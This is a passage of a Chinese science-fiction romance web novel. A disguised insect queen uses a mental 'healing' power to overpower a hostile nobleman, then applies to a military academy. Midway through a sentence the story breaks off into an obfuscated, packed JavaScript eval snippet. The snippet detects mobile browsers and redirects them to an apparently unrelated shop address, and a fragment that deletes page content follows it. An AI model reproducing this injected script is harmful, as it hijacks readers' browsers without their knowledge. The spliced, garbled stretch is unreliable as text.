“代价?痛苦?”凯斯嗤笑一声,那笑声冰冷刺骨,“如果这也是表演的一部分呢?如果这一切,都是为了更快、更牢地绑住你呢?阿尔文,动动脑子!她的来历、她的能力、她的‘不幸’,全都是她的一面之词!而你,已经深陷其中,准备赌上洛希尔家的声誉去护着一个连底细都不清不楚的人了!” “我相信她!”阿尔文斩钉截铁,眼神因愤怒和坚信而灼亮,他反驳着,“我相信我的直觉,也相信她眼中的真诚!” “你在质疑我吗?” 凯斯定定地看了他两秒,脸上的嘲讽逐渐转化为一种近乎怜悯的冷漠。“好吧,但愿你的‘直觉’和‘真诚’,值得你付出的一切。”他优雅地转过身,整理着并无褶皱的袖口,留下一句轻飘飘却分量十足的话:“不过,我的眼睛,可没瞎。” …… 医疗室的夜晚寂静无声。 兰乌缓缓睁开眼,体内的剧痛已然平息,过度汲取的精神力在昏迷期间被身体本能地吸收、压制,虽然仍有一种沉甸甸的饱胀感盘踞在核心与腹部,但已不再难以忍受。她感受着那份“充盈”,内心冷静地评估着这次冒险的得失。 门轴发出微不可闻的转动声。 凯斯像一只优雅的夜行动物,悄无声息地溜了进来,并反手将门轻轻带上。他没有丝毫探病者的自觉,迈着从容的步子走到床尾,灰蓝色的眼眸在昏暗的光线下,像两盏冰冷的探灯,从头到脚将兰乌扫描了一遍,眼神里充满了挑剔与审视。 “哟,命挺硬,居然醒了?”他开口,语气是惯有的轻佻,“我还以为你要趁机睡到天荒地老,好让阿尔文那个笨蛋更加死心塌地呢。” 兰乌挣扎着用手肘支撑起上半身,黑发滑落肩头,露出苍白脆弱的脖颈,绿色眼眸中适时地泛起惊慌与无措:“海因里希先生……这么晚了,您……” “收起你那套。”凯斯不耐烦地打断,微微扬起线条优美的下巴,姿态傲慢,“这里没观众,不用再演苦情戏了。看着碍眼。” 他向前一步,无形的压迫感随之而来:“阿尔文被你骗得团团转,我可不是他。我最后警告你一次,你最好安分守己,否则……”他灰蓝色的眼眸眯起,闪过一丝危险的光芒,“海因里希家族有无数种方法,能让不该存在的东西悄无声息地消失。” 兰乌的身体几不可察地绷紧了一瞬,不是出于恐惧,而是源于被冒犯的冰冷怒意。但她面上却愈发显得摇摇欲坠,声音细弱带着颤音:“我……我不明白……您为什么对我抱有如此大的恶意……” “不明白?”凯斯嗤笑,他忽然俯身,双手“啪”地一声撑在兰乌身体两侧的床沿上,将她彻底笼罩在自己的阴影之下。他逼近她,距离近得能看清彼此眼中的倒影,那张俊美却带着恶劣笑意的脸几乎要贴上她。“那就让你明白明白。” “你说你能治愈精神力,对吧?”他盯着她的眼睛,不放过任何一丝细微的变化,“现在,证明给我看。” “现在?”兰乌难以置信地睁大眼睛,像受惊的小鹿,“可是船医嘱咐我必须静养,不能动用精神力……” “船医说你‘消耗过度’,精神力枯竭。”凯斯慢条斯理地接过话,嘴角那抹恶劣的笑意加深,“别开玩笑了,船医没见过世面,不知道精神力枯竭如此绝非一日两日,你早就已经消耗过度了。可你竟还能在这种情况下,进行所谓的治愈。” “现在又怎么会不行呢?” 兰乌与他对视着,绿色眼眸中水光迅速积聚,仿佛被他毫不留情 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兰乌的指尖,很快带着微凉和一丝若有若无的颤抖,轻轻点在了凯斯的额头上。 就在接触的瞬间。 嗡…… 一股难以言喻的感觉,并非暖流,而是更像一道极其精准、清凉的电流,瞬间刺穿了凯斯高度戒备的精神壁垒。它来得如此突兀,又如此强烈,不像阿尔文描述的那种温暖包容的海洋,反而像在酷暑盛夏,有人将一杯冰镇到恰到好处的、冒着细密气泡的苏打水,直接灌入了他干渴躁动的灵魂深处。 所有的杂音、所有的烦躁、所有盘旋在脑海中的质疑和算计,在这一刹那,被绝对地清空了。 只剩下一种极致纯粹的、冰凉剔透的宁静。 这感觉太奇异了!比他品尝过的任何顶级精神舒缓剂都要直接、有效千万倍!它不带来昏昏欲睡的沉溺,反而像是一道灵光,让他的思维变得前所未有的清晰和。他还想更多,还想更深地沉浸进去,剖析这力量的本质…… 然而,就在凯斯的精神力本能地想要追逐、缠绕上去,想要更多汲取这奇异的安抚时—— 链接戛然而止。 那股清凉的、令人灵魂战栗的触感,如同它出现时一样突兀,瞬间消失得无影无踪。 兰乌的手指如同被烫到一般,迅速收了回去,整个人仿佛脱力般向后靠在枕头上,呼吸急促,脸色比刚才更加苍白,额角甚至渗出了新的虚汗。她艰难地喘息着,绿色眼眸中充满了“尽力后”的疲惫与一丝“失败”的惶恐。 “对…对不起…海因里希先生…”她气若游丝,声音断断续续,“我…我做不到…真不行了……” 凯斯僵在原地。 前一刻还充盈在精神图景中的极致清凉与宁静,与此刻骤然回归的、甚至因为对比而显得更加嘈杂混乱的空虚感,形成了巨大的落差。那感觉,就像沙漠中的旅人刚刚舔到一滴甘霖,水源却瞬间在眼前蒸发。 他体内每一个叫嚣的细胞都在抗议这突如其来的中断。 “你……这就完了?” 凯斯死死地盯着她,胸口剧烈起伏。理智告诉他,船医的诊断和她此刻的表现似乎都印证了“消耗过度”的说法。但那种灵魂刚刚被触碰就被强行推开的极致空虚感,以及那惊鸿一瞥窥见力量带来的震撼,让他像是被针扎了般烦躁不堪。 显然,这个女人比她的外表危险太多。 他需要更多的素材来分析对方的危险性。 他必须仔细研究。 兰乌被他吓得瑟缩了一下,眼眶迅速泛红,泪水在里面打转,仿佛承受了天大的委屈:“对不起…我真的…已经到极限了…再继续下去…我会……”她的话语被哽咽打断,护住小腹的手微微颤抖。 “一秒、一秒钟还不够吗?”她声音也提高了,“我觉得也不算快、已经够长了吧!” “明明就是你没有好好感知!” 凯斯深呼吸:“好,那你再来一次。” 他扬起下巴。 “我会好好感受。” 5. 5 然而兰乌还是没有任何动作。 她抽泣了一声。 沉默下去。 凯斯被她这突如其来的安静弄得愈发焦躁,随即一股荒谬感涌上心头。从来只有他挑剔别人的份,刚才居然被一个来历不明的平民、一个病弱寡妇指责“没有好好感知”。 真是从未有过的、被冒犯的感觉。 偏偏刚才脑子不太清醒,居然顺着应了下去,现在无法借此发作。 他深呼吸,压下把她从病床上揪起来理论一番的冲动,灰蓝色的眼眸里闪烁着执拗的光芒。 “真不行了?”他扯出一个皮笑肉不笑的表情,“还是怕了?” 兰乌看着他。 被送去治疗后,她换了一件干净而单薄的睡衣,很薄,丝绸,布料上流淌着贵气而精致的光华。几乎能通过布料看见锁骨的凸起。她理了理衣服,多少有点觉得好笑: 翻涌的精神力都热情地扑过来了,是怎么做到继续摆着一副臭脸的? 连续做了两次实验,兰乌有点明白过来了。 作为虫母,她的精神安抚能力,居然也对人类有效。而且效果极强,一个个的都像是从没见过精神力一样,她伸出手,对方就扑了上来。 兰乌并不知道在人类世界里,治愈者也是极少数的存在。 她也就思考了几秒,凯斯却扬起下巴,重新摆出那副倨傲的、施舍般的姿态,仿佛给予了对方天大的恩典:“这可是最后一个,在我面前证明你自己的机会。” 兰乌:“……” bro你谁?叫叫少爷不会还自己信了吧? 她都没让人跪在脚边喊女王大人。 ——虽然她也确实还没登基。 “海因里希先生。”兰乌哑着声音说,“我是真的到了极限,精神力安抚没有您想象的那么安全,若是我彻底失了控制力,伤了您,我可就要被千刀万剐了……” “你在小看我?” 凯斯再次俯身,将自己的额头主动凑近她,眼神紧紧锁住她,带着不容置疑的命令和一丝他自己都没完全意识到的、隐秘的期待:“我都懒得告诉你,我的精神力等级是多少。想东想西的,真是无趣,我既然一人来验货,自然就有验货的能力。” “我叫你做,你就做。” 兰乌:“……嗯。” 她面上却露出更加为难和痛苦的神色,仿佛在进行激烈的思想斗争。最终,她像是再次被他的“坚持”打败,或者是为了捍卫自己那点可怜的尊严,又一次颤抖着抬起了手。 这一次,她的动作更慢,更显无力,指尖的颤抖也愈发明显。 “我只希望,当我证明自己。您这样高贵的少爷,能向我道歉。” 凯斯下意识地要嘲笑她。 可那微凉的指尖已经再次触碰到他的额头。他不愿意承认,自己的精神力已经期待了许久,全身的感官都集中在了那一点上。他摒住了呼吸,精神壁垒不再是完全的抗拒,而是带着一种紧张的、准备迎接冲击又渴望被抚慰的矛盾状态。 来了—— 又是一刹那。 比上一次似乎更短暂,但那冰镇般的清凉感却仿佛更加清晰,它像一根极细的冰针,精准地刺入他精神图景最躁动不安的核心,带来一阵短暂却极度提神醒脑的刺激。 然后,再次戛然而止。 “呃……”这次,中断带来的空虚感甚至让他喉咙里溢出一丝不满的闷哼。 兰乌眨了一下眼睛。 根本没给凯斯开口说话的机会,精神力重新接入。不是小心翼翼地捕食和安抚,而是近乎强硬地嵌入、探索里面的每一个细节。 她嗅到了一点奇妙的清新气息。是精神力带来的通感,就像她觉得阿尔文的精神力像是陈酿,眼前这人的精神力,居然是微甜而清凉的,像是一杯薄荷味儿气泡水,微微地有一些刺激感,但也仅仅是这一点刺激感了。 根本没任何抗拒…… 比阿尔文的精神力还要“软”。她能感觉到自己的精神力穿过时,他的精神力瞬间变得欢呼雀跃,热情地缠上来想要留住她。 这当然是不可能的。 兰乌探究着人类的精神图景,试图研究清楚。她进食过不少雄虫的精神力,虫母派来的追兵,她也吃了不少。 虫族个体的精神图景,防御性和警惕性都不强。虽然有充沛的精神力,但就像是少了一把钥匙,缺乏指挥官的时候,完全发挥不出本来的力量。 而人类的精神图景,内部多了一个核心。 这似乎赋予了他们极大的独立性。 滋味上也比雄虫们的精神力丰富许多,能明显感觉到不同精神力的区别——虫族内部大部分亚雌的精神力,区别真不大。 兰乌一边思索,一边将精神力彻底探入进去,终于触摸到了精神力核心。 她也有一个精神力核心。但那并非天生,而是拟态进入人类世界时,自己捏出来的。 弄得有点急,也稍显粗糙。 兰乌开始对比着凯斯的精神力核心,优化伪装。 凯斯僵在原地。 不,不是僵住。是沉沦。 当兰乌的精神力不再是浅尝辄止的试探,而是以一种不容抗拒的、近乎入侵的姿态,长驱直入,直接触碰到他精神图景最深处、最隐秘、从未被任何人触及过的核心时——他整个人,从内到外,都彻底失控了。 仿佛他整个躁动、干渴、布满裂痕的灵魂,被瞬间浸泡进了无边无际的、温暖而充满生命力的海洋。所有的不安、所有的焦躁、所有尖锐的棱角和刻薄的念头,都在这一刻被融化。 一种他从未体验过的、源自生命本源的极致安宁与满足感,如同最汹涌的浪潮,瞬间冲垮了他所有的理智、骄傲和戒备。 “呃啊……!” 他喉间溢出一声近乎呜咽的闷哼,“咚”地一声,竟是腿软到单膝跪倒在了冰冷的医疗室地板上。昂贵的面料与地面接触,发出沉闷的声响。 他仰着头,脖颈绷出脆弱的弧线,灰蓝色的眼眸彻底失焦,里面充满了迷离的水光,只能徒劳地追寻着床上那黑发女人的身影。他像一只终于被顺毛抚摸到最舒服处的猛兽,收敛了所有爪牙,只剩下全然的依赖与渴望。 兰乌垂眸看着他这副全然失态的模样,绿色的眼眸里闪过一丝了然。 果然……核心才是关键。 她甚至能“听”到对方精神力核心在她触碰下发出的、近乎欢愉的细微震颤,像被挠到了痒处的小动物,毫无保留地敞开,渴求着更多的抚慰。 她缓缓地、带着一种刻意的折磨,稍微减弱了一丝精神力的输出。 那极致的舒适感如同潮水般退去少许,巨大的落差让凯斯猛地一颤,下意识地向前倾身,手掌撑在病床上,喉咙里发出焦急的、如同幼兽般的哀鸣。 有些简陋的船上医疗室内部,病床发出一声尖锐的嘎吱声响。 他重重地呼吸,所有的傲慢和质疑都被抛到了九霄云外。 兰乌停下了所有动作。 精神力链接依旧维持着,却不再给予。 她静静地看着他,看着他伏在床边仰望着她,那双灰蓝色的眼睛里充满了未被满足的渴望和纯粹的、被欲望支配的茫然。 “海因里希先生。”她的声音依旧轻柔,却带着一种不容置疑的、居高临下的意味,清晰地传入凯斯几乎被快乐淹没的大脑,“您刚才,似乎说了很多……失礼的话。” 凯斯茫然地看着她,一时无法理解她的意思。 兰乌非常有耐心地,一字一句地提醒他,声音像羽毛轻轻搔刮过他敏感到极致的精神:“您说,我是‘骗子’。” “您说,我在‘演戏’。” “您命令我,‘叫你做,你就做’。” 每说一句,凯斯眼中的迷离就散去一分,仰视着兰乌,心底被一种混合着羞耻、窘迫和依旧无法熄灭的渴望所取代。他想起了自己之前的行为。 “现在,”她轻声问,如同最后的审判。兰乌微微歪头,绿色的眼眸里没有任何情绪,只有一片平静的、等待着的深潭,“您认识到自己的错误了吗?” ……有什么错呢? 凯斯张了张嘴,想说什 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凯斯立刻发出一声如释重负的叹息,整个人几乎要融化在地板上。他再也顾不上自己的形象,时而紧绷,时而放松,胳膊撑着床,将自己的脸埋入被褥,轻轻地蹭着兰乌的袖口。 兰乌便也借着这深度链接,冷静地、细致地复刻着他精神力核心的结构与波动,进一步完善着自己的伪装。 …… 不知过了多久。 兰乌结束了自己的工作。 现在,就算是对她的精神力做一个全面的检查,恐怕都发现不出任何异样。 凯斯好像彻底失去力气了,瘫在她床边许久未动。 兰乌伸出手,拍了拍他的脸:“海因里希先生……您还清醒吗?” “或许有些粗暴,但我已经彻底完成了对您的精神疗愈。” 凯斯茫然地望着她。 他瘫坐在冰冷的地板上,胸口压着坚硬的病床边缘,仿佛这样才能支撑住他几乎被掏空的身体。极致的安宁感仍像温暖的潮水包裹着他疲惫的灵魂,让他连抬起一根手指的力气都没有,只想永远沉溺在这片陌生的海洋里。 属于兰乌的阴影笼罩在他脸上。 是兰乌。 她不知何时坐起了身,正微微倾侧过来,低头看着他。那身昂贵的丝绸睡衣随着她的动作,如水般滑落,勾勒出单薄却不再显得脆弱的肩线。几缕乌黑的发丝垂落在她苍白的脸颊旁,而那双绿色的眼眸——不再湿润,不再怯懦,像两潭骤然冰封的深湖,清晰地倒映出他此刻瘫软如泥、仰人鼻息的狼狈模样。 她的靠近带来一丝极淡的、清冽的,如同初绽黑色兰花般的气息,很好闻。 一种前所未有的、被彻底看穿的寒意瞬间刺穿了凯斯被舒适感麻痹的神经。 然后,她伸出了手。 不是抚摸,不是安慰。 又拍了两下。 “啪、啪。” 极其轻微的两下,声音不大,却像惊雷一样在凯斯死寂的精神图景中炸开。 她怎么敢—— 一股混杂着极致羞耻和荒谬感的火焰腾地烧遍全身,让他几乎要弹跳起来。可更让他感到恐惧的是,在那轻蔑的拍打下,他精神核心深处,竟然不受控制地传来一阵细微的的战栗。 兰乌收回了手,仿佛只是完成了一个微不足道的动作:“您还清醒着,真是太好了。已经很晚了,您该回去了,病房里没有地方拱您休息。” 她看着凯斯脸上残留的震惊、屈辱,以及那深处一丝无法掩饰的沉迷,嘴角似乎极其轻微地勾了一下,快得像是错觉。 因她很快就垂下眼眸,委屈巴巴,可怜兮兮。 “做完了精神疗愈,您没有什么要说的吗?比如……感谢?” 凯斯:“……” 兰乌抬起眼,像是在期待着什么。 只是对上眼神,他的精神力就情不自禁地颤抖、从精神核心中流出。 “谢谢。”男人干巴巴地说着,“感谢你的治疗。” 6. 6 恩戴要塞如同一头蛰伏的钢铁巨兽,盘踞在荒芜的星球地表之上。冰冷的金属装甲在恒星的光芒下反射着令人心悸的寒光,无数舰船如同工蚁般在其庞大的港口中进出穿梭。 阿尔文·冯·洛希尔站在舷窗边,注视着这座以纪律和力量闻名的军事堡垒。他身姿笔挺,金色的头发在室内光照下显得一丝不苟,仿佛已经恢复了那个严谨自律的继承人模样。 “我们到了。” 他身后,凯斯·冯·海因里希的声音响起,带着一贯的、仿佛对什么都提不起劲的慵懒调子。他踱步过来,与阿尔文并肩而立,灰蓝色的眼眸扫过窗外的景象,没什么特别的表示。 兰乌已被他妥善安置在了要塞内一家由洛希尔家族控股的顶级酒店套房里,远离了船上三教九流的嘈杂,也暂时隔绝了外界不必要的窥探。他给她的说法是,她需要休养,好好养胎。 至于精神力和治愈能力相关的测试,不用急。 房间内陷入短暂的沉默。关于那个女人,成了一个无法回避,却又微妙异常的话题。 最终还是阿尔文先开了口,语气比起先前,多了几分冷静的审视:“她的身份,我已经让人去查了。在结果出来之前,她会得到应有的保护。” 凯斯发出一声意味不明的轻哼,指尖无意识地敲击着窗框:“保护?阿尔文,你我都清楚,一个能在货运船上‘恰好’救了你,又拥有那种级别治愈力的人,绝不可能是简单的‘落难寡妇’” 他转过头,灰蓝色的眼眸锐利如常:“漏洞太多,经不起推敲。” “我知道。”阿尔文没有回避他的目光,眉头微蹙,“但她也确实救了我,并且为此付出了代价。在证据确凿之前,我不能,也不会将她置于险地。这是我的责任。” “责任?”凯斯嘴角勾起一抹惯有的嘲讽,但这次,那嘲讽底下似乎藏着点别的东西,“你真应该收收多余的同情心,进了星刃,你可就不会是人人都捧着的少爷了。” 阿尔文:“我自然知道。” 凯斯:“叫学长。” 两人同时笑起来。 洛希尔家族和海恩里希家族的关系一直不错,成了不少联姻。两人作为同辈,又有实实在在的血缘关系,算得上表亲,打小就玩在一起。凯斯年纪大一岁,早在去年就成功入学了星刃。 今年是特地来接阿尔文报考。 只不过谁都没想到,遇到兰乌这个意外。 又是一阵沉默。这次,空气中弥漫开一种更难言喻的氛围。 两人都不可避免地,回忆起了那短暂却刻骨铭心的感受。 阿尔文想起了那如同沉入温暖海洋般的极致安宁,想起了精神力被温柔梳理、抚平的颤栗感。那不仅仅是痛苦的消失,更像是灵魂被洗涤,焕然一新。 凯斯的喉结几不可察地滚动了一下。他脑海里闪过的,是那冰镇气泡水般瞬间刺穿所有防备的清凉与刺激,是随后涌来的、将他彻底淹没的温暖洪流,是那种……让他膝盖发软、理智崩溃、甚至生出摇尾乞怜冲动的、该死的极致舒适。 那种感觉,比最顶级的神经愉悦剂更纯粹,更触及本源,带着令人恐惧的成瘾性。 他们都清晰地记得自己在那种力量下的失态—— 然而,此刻。 两位自幼接受精英教育、习惯了在任何场合维持体面和掌控力的贵族继承人,却极有默契地,同时选择了沉默。 他们没有交流彼此被“治愈”时的具体感受,没有讨论那力量的奇异之处。那短暂的、超越世俗经验的极致体验,仿佛成了一个心照不宣的秘密,一个被共同掩盖起来的、略带羞耻的烙印。 阿尔文轻轻吸了口气,将视线重新投向窗外繁忙的港口,转移了话题:“入学测试三天后开始。兰乌说她也想去看看。” 凯斯也顺势收回了目光,恢复了那副漫不经心的姿态:“谁知道呢。难道她也想入学?一个怀着孕的寡妇……还是说,打算以可笑的姿态,在顶级军校门口,为了她那死去的老公招兵买马?” 他的语气依旧刻薄,但阿尔文敏锐地察觉到,那份针对兰乌的、尖锐的敌意似乎消退了些许,取而代之的是一种更复杂的、带着审视和……某种未言明的关注。 两人不再交谈,各自沉浸在自己的思绪中。 …… 豪华的套房内,兰乌正赤脚踩在柔软的地毯上,俯瞰着下方如同微缩模型般的军事设施。她轻轻抚摸着微隆的小腹,感受着体内因吸收了两位优质“能量源”而变得充盈的力量。 孕育似乎是虫母的本能。 但兰乌一思考,又感觉不到本能的指引了。 总感觉……还没有到当妈的年纪…… 从货运船上下来后,阿尔文又给她买了些衣服。兰乌挑挑拣拣,还是选择了黑色。 问就是死了老公,要穿丧服。 她伫立在观景窗边缘,像一枚遗世独立的黑色冰棱。一袭及踝的墨色缎面长裙,裙摆处一丝褶皱也无,如同凝固的夜色。 肌肤是上等骨瓷般毫无瑕疵的白,在黑衣的极致反衬下,透着一股非人间的、剔透的寒意。乌檀木似的长发挽了起来,露出白皙的后颈,添了几分成熟韵味。 虫母的帝国,很大。 王都更是极致繁华。 但脚下的恩戴之城,也不遑多让,还有种她在虫族社会里没接触过的、属于人类的工业美学。 她以后也会有这样的帝国吗? 兰乌怔怔地想了一会儿。 三天后。 星刃军校的报名处设在一个巨大的穹顶大厅内,冰冷的金属墙面反射着顶灯的光,空气中弥漫着消毒水和紧绷的竞争气息。身着各色作战服或正装的年轻男女排成数列,眼神锐利,身姿挺拔。 阿尔文和凯斯的出现,引起了一阵克制的关注。然而,当兰乌的身影安静地出现在他们身侧时,所有隐晦的打量都变成了明目张胆的震惊。 她一袭简单的黑裙,苍白,纤细,尤其是那无法忽视的、微微隆起的腹部,与周围强调力量、敏捷与纪律的环境形成了触目惊心的反差。 雷克索·斯特林教官如同定海神针般立在报名点侧方。当他的目光落在兰乌身上时,他脸上的表情瞬间冻结,继而化为难以置信的凝重。 他的眉头死死锁紧,那道伤疤也显得更加深刻。 他大步上前,直接越过了两位贵族少爷,在兰乌面前站定。他的目光在她脸上和小腹之间快速移动,充满了最纯粹的困惑与不赞同。 “夫人。”他的声音低沉而严肃,不带丝毫情绪,只有军人式的直接,“入学考试严禁无关人员陪同,还请您暂时离开。” 他没有嘲讽,只是在陈述一条在他看来毋庸置疑的规则。他的眼神明确表达着:这里不是您该来的地方。 又将脑袋转向凯斯,呵斥道:“平日再怎样玩闹,也不可将孕妇带来这里。你已入学一年,这些规矩不清楚吗?” 阿尔文立刻上前,语气温和而尊重:“斯特林教官,兰乌夫人情况特殊。她的丈夫被虫族杀死,血海深仇,无依无靠,只身一人来到恩戴求助。听闻星刃有向平民开放的悬赏投递,才前来此处。” 凯斯也懒洋洋地补充道:“规矩是死的,人是活的,教官,就让她在这儿坐一会儿呗。” 两个少爷语气都不尖锐,可全都对他的决策进行了反驳。 规则,对上了特权。 雷克索的左眼是机械义眼,脸上贯穿了一道伤痕。他能感觉到两位年轻贵族的施压,这让他刚毅的脸上闪过一丝不悦。他更加确信,这位孕妇只是一个被贵族们一时兴起带来的麻烦。 甚至,就是这些轻佻贵族搞出来的麻烦。 他不再看向兰乌,反而注视着凯斯,神情冷峻:“我想,你需要解释一下,这个冬日假期在做什么。” “这是对我的污蔑。”凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746989|189953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯懒得理会这样的指控,眼神却极快速地瞥了一眼阿尔文。 气氛僵持不下。 但确实没人会为难一名孕妇,雷克索深吸一口气,决定将兰乌请去休息室。 至于悬赏的事儿……大可以移交给普通的安保部门。 兰乌看了会儿戏,这会儿终于从阿尔文身后走出来。 她怯生生地问:“不报名考试,就不能留在这里吗?” 教官:“是。” “那我可以报名吗?” ……她疯了。 一时间,不知道多少目光注视过来。就连带兰乌过来的凯斯和阿尔文,也回过头。 许久,也只有雷克索开口:“夫人。根据《星刃军校准入条例》第七章第十二条,申请人需具备独立完成基础军事任务的生理条件。您目前的状况,不符合基本报名资格。” 孕妇来考军校,还是最顶级的军校。 这有些太异想天开了。 兰乌不好意思地笑了笑:“体能之类的,我确实不行。有、有特招吗?比如特长生?我精神力还算可以,也懂一点治愈” “治愈系精神力?”雷克索的语气带着深深的怀疑,这实在不是他多想,整个恩戴要塞拥有的治愈者不过十数名,其中十一名都在星刃就读,是来自各地的学生,未来并不会留在恩戴。 毫不夸张地说,星刃里面拥有这个世界上最多的治愈系能力者。 也正因此,他无比了解,治愈系能力有多么稀缺。 光是觉醒这种能力的人,就已经万里挑一。十万、百万的人里面,才能有一位职业的治愈者。 “斯特林教官,兰乌夫人确实拥有罕见的治愈系精神力,并能够独立完成对我的精神梳理。我以洛希尔家族的名义,请求给予她一个接受精神力专项测试的机会。”阿尔文叹息道,知道兰乌的能力恐怕要暴露了,“哪怕不过,我也没有任何意见。” 雷克索教官却几乎无视了他。 在其他任何地方,洛希尔家族的名义都有用,但这里是军校。不管家里是富甲一方,还是王公贵族,都得遵守规则。 他看向凯斯。 “……”凯斯知道,自己得开口了,“这真不是谎言,教官,她确实有极强的治愈系能力。” 沉默。 “夫人,您是否清楚,即便获得测试资格,精神力测试本身也对专注度和精神负荷有极高要求?以您现在的身体状态,我无法对可能产生的风险负责。” 这是他基于规则的、最后的警告和劝退。 所有的目光都聚焦在兰乌身上。 她迎着教官审视的目光,绿色的眼眸里没有怯懦,只有一种近乎坦然的平静。她轻轻抚过自己的小腹,这个动作在此刻不再显得脆弱,反而带上了一种奇异的笃定。 “我明白风险,长官。”她的声音清晰而稳定,“也感谢您的提醒。但我仍然请求,获得这个测试资格。” 她顿了顿,目光扫过阿尔文和凯斯,最后回到雷克索脸上,说出了一句让所有人都意想不到的话: “如果因为我的任何状况而导致测试失败,或者过程中出现意外,所有责任,由我本人一力承担。与军校,与教官您,与洛希尔及海因里希家族,皆无干系。” 一席黑裙,也是丧服。 她看起来如此决绝,背后却是几乎是一种失去理智的哀戚——丈夫被虫族杀死,自身也被复仇的怒火吞没。若不是腹中还有孩子,恐怕她早已跳入冰冷的河水殉情。 谁看了都得说一句,太惨了。 最终,他侧身,对负责登记的士官沉声道: “记录。特殊申请人,兰乌。申请项目,精神力专项评估。”他看向兰乌,眼神依旧严肃无比,“夫人,你情况太特殊,需要在专业人士监管下进行测试,这也是为了你的安全。” “届时,我会亲自测试。” 周围响起一阵低声的惊呼。 7. 7 星刃军校的入学测试全面展开,整个基地如同一台精密而残酷的机器,高效地筛选着来自各地的精英。 在广阔的体能测试场,学员们背负着沉重的标准包,在模拟的极端环境下奔跑、攀爬、格斗。空气中弥漫着汗味、钢铁摩擦的焦糊味和压抑的喘息声。 在幽静的精神力测评室内,学员们则面对着模拟的光谱图像和无形的心灵压力,试图维持精神图景的稳定,许多人脸色苍白,甚至有人承受不住冲击而提前退出。 而在这片充斥着竞争与荷尔蒙的喧嚣之外,兰乌和凯斯却像是身处另一个世界。 他们坐在为观察者准备的休息区内,透过单向玻璃,可以俯瞰部分测试场地的情景。凯斯懒散地靠在舒适的座椅上,手边放着一杯冒着热气的咖啡,灰蓝色的眼眸偶尔扫过下方那些拼命挣扎的新人,带着一丝过来人的漠然。 偶尔他会看向阿尔文的方向。 诸如阿尔文这类的人,早已知晓星刃严苛的选拔标准,许多考核完成地游刃有余。但他知道,阿尔文的目的绝非是通过,而是拿下这次入学考试的第一。 “看那个,”他随意地指了指下方一个正在障碍场上跌跌撞撞的学员,“步伐混乱,核心不稳,三分钟内必倒。” 他的语气平淡,听不出是评价还是无聊的解闷。 兰乌顺着他指的方向看去,没有发表意见,只是安静地坐着,双手交叠放在膝上,黑色的裙摆如一朵静止的墨色花朵。她的目光似乎落在测试场上,又似乎穿透了那些景象,落在更遥远的地方。 “怎么,”凯斯瞥了她一眼,“担心接下来的测试?现在后悔还来得及,我可以帮你跟那个铁面教官说说情。” 兰乌转过头,绿色的眼眸里平静无波:“谢谢您,海因里希先生。但我已经决定了。” 凯斯被她这软钉子碰得有些无趣,啧了一声。 “要是你紧张,也可以提前做做练习,别到时候因为发抖、连精神力都用不出来。”凯斯摊开手,“我可以无偿地做你这次的练习素材,如何?” 兰乌:“……” 这地图有点短了。 时间在一种微妙的氛围中流逝。当大部分学员完成所有项目,或疲惫或兴奋地离开测试区时,一名助手快步走到了休息区。 “兰乌夫人,斯特林教官请您过去。专项测试准备开始。” 凯斯也站了起来,双手插在口袋里,随意地说:“走吧,我去看看热闹。毕竟是我带来的人。” 专项测试室与之前的喧闹截然不同。这里更加安静,墙壁是吸音的暗色材质,房间中央只有一个简单的座椅,以及几个连接着复杂线路的感应头盔。 凯斯没一起进去,只是站在门外。 教官雷克索·斯特林矗立在房间中央。而在一旁,还有一名穿着白大褂的医生,他面前漂浮着一个光屏,记录笔虚悬其上,目光冷静而专注。 与充满硝烟与铁锈般压迫感的教官不同,医生看起来约莫三十五六岁,身形清瘦挺拔,裹在一尘不染的洁白医官服里,像一株生长在无菌环境中的修长植物。鼻梁上架着一副精致的金丝边眼镜,镜片后的褐色眼眸澄澈而温和,正静静地注视着她,嘴角含着一丝若有若无的、令人安心的浅笑。 “你好,夫人,我是罗兰,星刃内部的一名校医。” “夫人,”雷克索的声音在密闭的空间里显得格外低沉,“鉴于你情况的特殊性,标准的精神力强度与稳定性测试暂不适用。我们需要评估的,是你声称的‘治愈安抚’能力。” “测试内容很简单。”他向前一步,带着一股无形的压迫感,“我会主动释放一部分具有攻击性的精神力波动。而你,需要尝试用你的能力,对其进行安抚和化解。” 这话一出,连旁观的凯斯都微微挑眉。让一个“孕妇”去安抚攻击性的精神力?这测试听起来就充满风险。 罗兰适时地开口,声音温和却带着不容置疑的专业性:“兰乌夫人,请放心,斯特林教官会严格控制精神力的强度。我也会全程监控您的生命体征和精神波动,一旦出现任何不适,我们会立刻终止测试。” 他的解释更像是一种免责声明。 兰乌看着雷克索那双充满审视和怀疑的眼睛,又瞥了一眼旁边如同精密仪器般的校医。 她轻轻吸了一口气,走到房间中央的椅子前,坐下。 “我明白了,长官。”她轻声说,然后闭上了眼睛,仿佛在凝聚精神,“请您开始吧。” “我使用精神力安抚,需要身体接触,最好是额头,可以吗?”兰乌问。 “当然。” 于是测试正式开始。 兰乌的指尖在距离雷克索教官额前几公分处停下。她闭着眼,纤长的睫毛在苍白的脸颊上投下浅淡的阴影,眉头微微蹙起,似乎在仔细分辨着什么。 房间里落针可闻,只有仪器运行的微弱嗡鸣。 片刻后,她缓缓睁开眼,绿色的眼眸里带着一种前所未有的凝重,甚至是一丝……仿佛医生面对棘手病患时的严肃。 “长官,”她的声音依旧轻柔,“您的精神图景……比我想象的还要复杂。” 雷克索的机械义眼蓝光微闪:“要放弃吗?” 兰乌没有回答,而是继续说着,目光仿佛穿透了他的颅骨,直视其内里的风暴:“混乱,暴烈,充满了……未经处理的创伤和强行镇压后的裂痕。像一片布满了暗礁与漩涡的雷暴海洋。我从未接触过如此……严峻的情况。” 她的评价直白而尖锐,让雷克索的面部线条更加冷硬了几分。连一旁的校医罗兰都抬起了头,金丝眼镜后的目光中兴趣更浓,记录的速度更快了。 兰乌的目光怯生生地扫过雷克索教官被标准制服包裹的躯干,随即像是被烫到一般迅 